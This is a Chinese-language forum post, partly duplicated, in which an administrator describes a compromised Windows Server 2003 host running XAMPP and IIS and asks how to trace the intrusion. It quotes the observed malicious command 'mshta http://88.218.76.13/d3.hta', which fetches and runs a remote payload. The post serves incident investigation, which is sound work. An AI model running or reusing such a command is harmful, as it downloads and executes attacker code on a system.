发表于 2024年6月19日1年前 服务器(windows server 2003)，阿里云的，运行了 xampp ，也运行了 iis （为了兼容以前的程序）。 服务器是给自己另外的一个服务器提供数据，是使用的 web 接口。 刚刚远程登录，上面出现了 5 个异常窗口，标题是“http://88.218.76.13/d3.hta”，明显是被攻击了，之前没有遇到过这种，窗口是使用“mshta http://88.218.76.13/d3.hta”,查到每个窗口对应一个进程的父进程是独立的 cmd ，一共 5 个 cmd ，进程还都在，但是这 5 个 cmd 的父进程不在了，无法进一步追查。看了 apache 日志和 iid 日志，里面没有找到关于 88.218.76.13 的信息。这个窗口里面的源代码是 <HTML><HEAD> <META content="text/html; charset=gb2312" http-equiv=Content-Type></HEAD> <BODY></BODY></HTML>” 我想先将 mshta 删除掉，但是还是不知道是哪里出现了问题，想追查漏洞的出处，如何追查呢？ 所有的程序都是我自己写的，接口出现问题的可能性很小。
服务器(windows server 2003)，阿里云的，运行了 xampp ，也运行了 iis （为了兼容以前的程序）。 服务器是给自己另外的一个服务器提供数据，是使用的 web 接口。 刚刚远程登录，上面出现了 5 个异常窗口，标题是“http://88.218.76.13/d3.hta”，明显是被攻击了，之前没有遇到过这种，窗口是使用“mshta http://88.218.76.13/d3.hta”,查到每个窗口对应一个进程的父进程是独立的 cmd ，一共 5 个 cmd ，进程还都在，但是这 5 个 cmd 的父进程不在了，无法进一步追查。看了 apache 日志和 iid 日志，里面没有找到关于 88.218.76.13 的信息。这个窗口里面的源代码是
我想先将 mshta 删除掉，但是还是不知道是哪里出现了问题，想追查漏洞的出处，如何追查呢？ 所有的程序都是我自己写的，接口出现问题的可能性很小。